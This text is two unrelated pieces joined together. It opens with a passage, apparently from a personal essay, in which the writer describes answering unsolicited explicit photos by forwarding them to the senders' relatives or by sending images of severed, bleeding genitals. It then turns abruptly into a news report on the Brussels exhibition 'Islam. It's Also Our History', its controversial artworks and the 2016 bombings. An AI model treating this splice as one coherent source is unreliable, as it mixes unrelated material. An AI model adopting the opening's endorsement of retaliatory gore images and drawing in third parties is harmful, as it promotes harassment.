Aside from creating a popular traveling gallery to use them as a tool to empower women rather than to silence them, I have tried a variety of strategies. Sending the unwanted pics to their wives, mothers, girlfriends is effective, but also hurts the woman in question which is not my intention. I have done as the brilliant Simone Fiasco suggests and “sent back a picture of a better-looking dick,” but I believe my personal favorite response is a severed dick. I have a folder of dozens of severed, bleeding, engorged or otherwise sickly looking dicks. They do not like that, within seconds you’ll have them begging you to stop. The irony of that seems to be lost on most of these dudes. Most of the time they will angrily exclaim “WHY WOULD YOU DO THAT” as if I was the inappropriate one.

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The exhibition, entitled “Islam. It’s Also Our History” by the Museum of Europe has been previously displayed in several European countries.

But its arrival in Brussels last week had been postponed by the authorities and organizers after the Paris attacks in November 2015 and the bombings in the Belgian capital in March 2016. The organizers also struggled to find a venue for the show as many were hesitant to host an event that was almost certain to attract controversy.

The exhibition finally opened on September 15 at the Vanderborght Building, which is owned by the Brussels city authorities.

“We want to make clear to Europeans that Islam is part of European civilization and that it isn’t a recent import but has roots going back 13 centuries,” Isabelle Benoit, a historian from the Tempora organization, which designed the show, told AP.

The display uses historic and contemporary artwork, daily objects, multimedia and installations to reveal how Islam influenced Europe during the Arab rule of the Iberian Peninsula (modern Spain and Portugal), the Ottoman Empire and the Colonial Period.

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Belgian policemen and soldiers are seen at the scene where a man attacked two soldiers with a knife in Brussels, Belgium August 25, 2017. © Thomas Da Silva Rosa

But the show also addresses the current situation in Europe, which is gripped by waves of migrants from war-torn Middle Eastern and North African nations as well as the constant threat of Islamist terrorism.

“It turns out that our exhibition comes at a very relevant time in history when the meeting between Europe and Islam is witnessed by citizens from the continent in all its tragic manifestations… Should we cancel it or at least postpone it until happier circumstances? Definitely not, we believe,” the organizers said on the exhibition’s website.

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“It is precisely because the timing is tragic that it is important to show our contemporaries the extraordinary richness of this history, which has helped to make us what we are. We should not hide what is wrong any more than relativize it, but place it a centuries-old history, which has much more to it than just this,” they added.

Provocative artworks dedicated to modern relations between Islam and Europe have attracted the most attention at the show.

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An installation by Danish artist Nikolaj Bendix Skyum Larsen commemorated thousands of migrants who drowned in attempts to cross the Mediterranean Sea and reach Europe on rafts and rickety boats.

The guests of the display enter a dark room, decorated by screens, which show the bottom of the sea, with rolls of fabric thrown to the floor resembling the bodies of drowned children.

Jean Ulrick Desert from Haiti created burqas, garments used by some Muslim woman to fully cover their face and body in public, in the colors the national flags of the US, UK, France and Germany to show the scale of the immigration.

Meanwhile, an installation by a US artist, Gregory Green, showing a posh Louis Vuitton case with a fake improvised explosive device inside it led to complaints by visiting Muslims

Primary school teacher Nejia Adouiri said it was “very confrontational” that the organizers “wanted to make a link between Islam and what has been happening recently worldwide.”

Adouiri also objected to the bomb-laden Louis Vuitton case being placed at the end the exhibition and therefore helping to form a negative final impression of Islam for visitors.

The organizers told AP that Green’s piece won’t be removed due to the complaints, but added that it may be moved to another location and put in its textual content.  

“Islam. It’s Also Our History” exhibition is expected to run in the Belgian capital until January 21, 2018.

Three coordinated suicide bombings took place in Brussels on March 22, 2016, with explosions rocking the city’s Zaventem airport and Maalbeek metro station.

The attacks, which killed 32 and injured over 300 people, were claimed by the Islamic State (IS, formerly ISIS/ISIL) terrorist group.

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